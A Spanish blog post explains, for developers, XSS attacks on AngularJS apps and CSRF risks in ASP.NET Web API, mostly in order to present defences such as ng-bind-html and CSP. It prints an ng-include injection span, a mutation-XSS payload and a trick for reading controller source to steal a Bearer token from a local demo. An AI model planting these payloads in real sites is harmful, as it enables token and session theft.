Una evidencia, una fricada y un despropósito

La verdad que me apetecía contar mi charla del gusenet, que al final por tiempo y por otras razones me fue imposible hacer.

Básicamente el tema principal de la charla era mostrar dos vulnerabilidades web que aunque viejas siguen presentes en nuestra vidas y no se si alguna vez seremos capaces de quitárnoslas de una vez por todas.

Estás dos vulnerabilidades son:

Cross site scripting(xss)

Cross Site Request Forgery(csrf)

Si os fijáis en el título vais a ver de forma muy clara la estructura del post.

1. Una evidencia(xss en angularjs).

Hace aproximadamente más de 1 año que empecé a trabajar con Angularjs y no había que ser muy espabilado para darte cuenta rápidamente que existía un cierto peligro ante este ataque.

Lo primero que hice fue hacer una búsqueda sencilla y que me aporto no poca luz “angulajs xss” 

mustache-security

Pero vamos si trabajas con otro framework como Backbone,knockoutjs,etc,etc. y piensas que solo afecta a Angularjs te invito a que hagas la misma búsqueda pero cambiando la palabra angularjs por tu framework y lo mismo te sorprendes.

Vamos y que para te quede claro, aunque el primer ataque de este tipo creo que fue por el 2005 o quizá antes History of Cross Site Scripting  lo llevamos a nuestras espaldas desde entonces y la moda de hacer Single-page application(SPA) va a hacer que siga vivo creo que un buen puñado de años más y con más fuerza.

Así que como consejo si te planteas hacer una aplicación de este tipo reserva algunas horas para preocuparte de esta vulnerabilidad.

Aunque os pasare el proyecto completo os cuento la estructura de este para que os hagáis una idea de que estamos hablando.

image

-Un proyecto llamado “Victima” que en mi caso se ejecuta en “localhost:10322” y que no es otra cosa que un proyecto MVC donde vamos a hacer el ataque.

-Un proyecto “Atacante” que es el proyecto que va a utilizar el usuario malicioso para explotar tus vulnerabilidades. “localhost:10755”.

-Una dll llamada “Apis” que es el que vamos a utilizar en el última parte del post y que va a mostrar la vulnerabilidad CSRF y que está referenciado en el primero de los proyectos.

Si os habéis leído todas las vulnerabilidades de Angularjs ya os cuento que solamente quedan pendientes de corregir las dos últimas y muy malo tienes que ser para no solucionarlas de forma sencilla y eso es lo que os voy a explicar.

Un atacante lo que va a hacer es inyectar en vuestra página este fragmente de html.

image>

Es decir tu tienes un div que es donde arranca tu app de Angularjs con un controllador llamado “MyController” y el atacante lo que ha conseguido es incluir en ese fragmente tuyo el span que incluye la directiva ng-include.

Alguno uno se puede preguntar como lo ha hecho o pensar que es imposible, el atacante ha buscado una parte compartida por muchos usuarios de tu web donde pueden iterar e introducir texto y este es leído por el resto de usuarios. Por ejemplo una agenda compartida, los cometarios de un post, un chat que tan de moda se ha puesto.

 El caso es que tu cada vez que renderizas tu página insertas ese span que es el causante del problema xss.

Por otra parte como la directiva ng-include lo que hace es traer mediante xmlhttprequest código html y sustituirlo.

El atacante tiene que habilitar Cross-origin resource sharing(CORS) en su web. Y te preguntas si esto para el es un problema, pues ya te digo yo que no, por el encantado.

Y es eso lo que yo he hecho en el proyecto “Atacante” en un simple y sencillo controlador MVC, habilitar CORS.

   1: public ActionResult Index()

   2:         {

   3:             var oriGinHeader = Request.Headers.GetValues(Origin);

   4:             if (null!=oriGinHeader)

   5:             {

   6:                 bool isCorsRequest = !string.IsNullOrEmpty(oriGinHeader.FirstOrDefault());

   7:                 bool isPreflightRequest = Request.HttpMethod == "OPTIONS";

   8:                 if (isCorsRequest)

   9:                 {

  10:                     if (isPreflightRequest)

  11:                     {

  12:                         Response.Headers.Add(AccessControlAllowOrigin, oriGinHeader.First());

  13:  

  14:                         string accessControlRequestMethod = Request.Headers.GetValues(AccessControlRequestMethod).FirstOrDefault();

  15:                         if (accessControlRequestMethod != null)

  16:                         {

  17:                             Response.Headers.Add(AccessControlAllowMethods, accessControlRequestMethod);

  18:                         }

  19:  

  20:                         string requestedHeaders = string.Join(", ", Request.Headers.GetValues(AccessControlRequestHeaders));

  21:                         if (!string.IsNullOrEmpty(requestedHeaders))

  22:                         {

  23:                             Request.Headers.Add(AccessControlAllowHeaders, requestedHeaders);

  24:                         }

  25:                     }

  26:                     else

  27:                     {

  28:                         Response.Headers.Add(AccessControlAllowOrigin, Request.Headers.GetValues(Origin).First());

  29:                     }

  30:                 }

  31:             }

  32:             return PartialView();

  33:         }

Que si, que ya se que existe EnableCors, pero este tiene también para un post, que ya os escribiré.

Si os fijáis en el código aparte de habilitar CORS lo que hace es devolver una PartialView() que de verdad os va a gustar.

image

Una vez que veáis el código del controlador de la victima.

image

No le hagáis caso a $compile ,$scope$sce que ya veréis después el sentido de esos tres parámetros. De momento  solo quédate que en el controlador hay una llamada http a una api de Google Drive y que necesita un token del tipo Bearer y es ese el objetivo del atacante no mostrar un alert sino robarte el token y mandárselo a su web para almacenarlo, menos mal que este ya está caducadoSonrisa.

Y como te lo está robando? Con esta línea de código y aprovechando que cualquier function JavaScript al hacer toString() devuelve el código fuente de esta.

angular.module(‘app’)._invokeQueue[0][2][1].toString()

Es decir algo que bondadosamente alguien ha escrito con ese “_” para decirte no me toques y es ese el lugar utilizado por el atacante para obtener el código fuente de cualquier function JavaScript en Angulajs y en este caso le interesa el código fuente de tu controllador. Ya habrás visto porque Sonrisa.

AngularJS: Loading a controller dynamically

Es decir que lo bueno a veces puede ser una fuente magnifica para explotar por parte de un usuario malicioso.

Visto lo fácil que es ,ahora vamos con las posibles soluciones.

1. Reescribir el método toString() de Function.

Function.prototype.toString = function() {return «»;)

Está podría ser una solución que no te aconsejo, puesto que es en parte en lo que se basa Angularjs para hacer la inyección de dependencias, cuando tu declaras una function sin utilizar la forma declarativa de Angularjs, para indicar las dependencias.

Forma no declarativa y por tanto ejecución de toString().

angular.module(‘app’, function($scope){});

Forma declarativa y no ejecución de toString() y la recomendada.

angular.module(‘app’,[$scope,function(scope){}])

2. Comentar la linea 1995 y de la 2014 a 2016 de Angularjs.

image

La verdad que no es muy recomendable,

-Principalmente porque estás quitando funcionalidades,

-Tienes que cargar el archivo Angular.js y no el Angular.min.js, aunque esto se puede solucionar

-Por último  porque tienes que estar pendiente de actualizaciones y que no se te olvide. Aunque siendo sincero es la que utilizo porque ese ng-include me da mucho miedo.

3. Utilizar ng-bind-html.

Siempre que utilices contenido dinámico y que quieras representar como html y dependa de entradas de usuario.

Es ahora el momento de ver esos tres parámetros que tenía el controlador y que no se estaban utilizando.

$sce por favor no utilices esto. he visto mucho código de angular escrito en el controlador de esta forma para sanitizar el html.

$scope.html=$sce.trustAsHtml(«<span class=»ng-include:’http://localhost:10755/'»>hello kitty</span>»);

Primero porque no quita el ng-include y segundo porque ya lo hace la directiva ng-bind-html.

image

En una palabra y para entendernos, no hagas las cosas dos veces que con esto te sobra la línea del controlador.

<div ng-bind-html=»html»/>

Es decir que sino fuese por el miedo que me da ng-include yo te recomendaría esta forma.

Evita en la medida de lo posible utilizar $scompile que es el responsable de compilar todo el Dom y ejecutarlo y es hay donde te va a saltar este ataque.

Vamos que se te quede grabado en la memoria siempre que trabajes con Angularjs esto.

image

4. Utilización de Content Security Policy(CSP)

Content Security Policy Reference

An Introduction to Content Security Policy

Can I use Content Security Policy?

No te paso estos link para que no los leas, sino para que lo hagas y estés pendiente de eso. Eso si, cuando los señores de Internet Explorer hagan las cosas bien, creo que es una utopía y un sueño inalcanzable Triste.

Pero con estas sencillas líneas en un web.config adiós a tus problemas de xss por lo menos en Chrome.

   1: <system.webServer>

   2:     

   3:     <httpProtocol>

   4:       <customHeaders>

   5:         <add name="Content-Security-Policy" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>

   6:         <add name="X-Content-Security-Policy" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>

   7:         <add name="X-WebKit-CSP" value="default-src 'self' *.localhost:36227 ;connect-src 'self' https://www.googleapis.com/drive/v2/files  *.localhost:36227"/>      

   8:       </customHeaders>

   9:     </httpProtocol>

Queréis que analicemos en Chrome lo que ocurre

image

1. Que modernizer es la primera que viola CSP y excepto que la quites está incluida en todos tus proyectos MVC.

2. Que tu no me cargas con CSP contenido desde el proyecto atacante aunque nazcas otra vezSonrisa.

Me encanta esta frase.

Refused to connect to ‘http://localhost:10755/’ because it violates the following Content Security Policy directive:

«connect-src ‘self’
https://www.googleapis.com/drive/v2/files  *.localhost:36227″.

3. Que de nuevo aparece otro invento browserLink y no paramos xDDDD.

Browser Link feature in Visual Studio Preview 2013

Vamos que te deja la máquina temblando, para que tu puedas jugar en Visual Studio.

Y por supuesto, como no iba a introducir algo en tu página, eso si lo puedes parametrizarSonrisa.

   1: <!-- Visual Studio Browser Link -->

   2: <script type="application/json" id="__browserLink_initializationData">
   1:  

   2:     {"appName":"InternetExplorer","requestId":"7a3a178b1eff46b7a300e21a1a8e3627"}

</script>

   1:  

   2: <script type="text/javascript" src="http://localhost:36227/f5aa9fa758364c0983d1ee7f22e2353d/browserLink" async="async">

</script>

   3: <!-- End Browser Link -->

Ves Amigo Lluis como al final me he desfogado https://twitter.com/lluisfranco/status/464418178018607104Sonrisa

image

2. Una fricada(ataque xss, pero jamón,jamón)

En realidad son dos ataques, uno aprovechando una future de Chrome y que tiene que tener habilitado esto.

image

Luego simplemente ve a esta página y saca tus propias conclusiones, tranquilo que no te roban nada.

CSP Bypass in Chrome Canary + AngularJS

Fíjate en el fuente del gif y te vas a reír de lo lindo, es decir que antes  que una funcionalidad que aún no ha visto la luz y que se supone que va a estar presente en WebComponents(import) ya hay alguien que se ha entretenido en jugar un poco. Veis ahora como la posible y creo que única solución para este problema de más de 9 años es que todos los browser acepten CSP.

La segunda es utilizar mutacion xss y el innerHtml, pero con estas líneas

   1: <b class="ng-include:'somefile?--&gt;&lt;div&sol;onmousemove=alert&lpar;1&rpar;&gt;'">HELLO</b>

   2: <button onclick="body.innerHTML+=1">do the mXSS thing</button>

Vamos dos joyitas esperando a que tu web salga al mercado y no tengas en cuenta XSS.

3. El despropósito(CSRF en WebApi).

Los que somos más viejos en el mundo del desarrollo con herramientas Microsoft, recordamos aquellos años en los que las templates de Visual Studio tenían comentarios y ayudas lo suficientemente significativas como para no cagarla de la forma que vais a ver.

image

Es decir y para que te quede claro, que lo mismo no te molestas ni en escribir estas líneas, creo que debes de saber cuales son las consecuencias.

1.JQueryMvcFormUrlEncodedFormatter. Encargado de procesar todos los Content-Type:application/xxx-form-urlencoded y cuyos parámetros de tu controlador sean “FormDataCollection” y “JToken

2. FormUrlEncodedMediaTypeFormatter. Se encarga de gestionar cualquier método que no tenga como parametro “FormDataCollection” y “JToken” y que el Content-Type sea xxx-form-urlencoded, es decir todos. Porque de serie se cargan estos dos MediaTypeFormatterSonrisa

Con lo cual como un atacante tonto no es, y el parte de estos conocimientos.

Lo que posiblemente haga es ver si tu api se esta autenticando por cookie’s y hacerte ir a una página suya mediante un correo electrónico u otra técnica para escribir algo como esto.

image

En una palabra, hacer un POST sin que tu lo detectes a tu página vulnerable.

Veis esas líneas comentadas. Pues si te autenticas por cookie’s en Web Api y no tienes en cuenta una estrategia de defensa de CSRF, no solamente el verbo HTTP POST, sino todos tus verbos HTTP y todos los formatos son vulnerables a ataques CSRF si además habilitas CORS. Yo creo que ya veis el próximo post que habla de EnableCors

Ahora yo te hago una serie de preguntas

-Piensas que estás salvado en una intranet o si te autenticas con Basic access authentication, que en algún otro proyecto lo he visto, aún creyendo que https les salvaba ?

Te respondo, cuan grande es la ignorancia cuando cada uno toma lo que le interesa.

-Te parece acertado este post sin más explicaciones?

Tiny Happy Features #2 – ASP.NET Web API in Visual Studio 2012

Conclusiones.

Muy sencillas las de hoy, tu mismo las puedes deducir y ver cuando uno escribe estás cosas por el bien de los demás a algunos otros les sienta mal, o peor ven fantasmas inexistentes y piensan que yo estoy en contra de Microsoft, pues lo tienen claroSonrisa. Estoy en contra de las cosas mal hechas y cada día son más abundantes.

Pues que no os siente mal, que como ya dijo  el maestro Chalalo, “menos post comerciales y más técnicos”.

P.D. Si alguien quiere los proyecto que me los pida por twitter o email y se lo mando o lo mismo los pongo en Github que está de moda.

2 comentarios sobre “Una evidencia, una fricada y un despropósito”

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *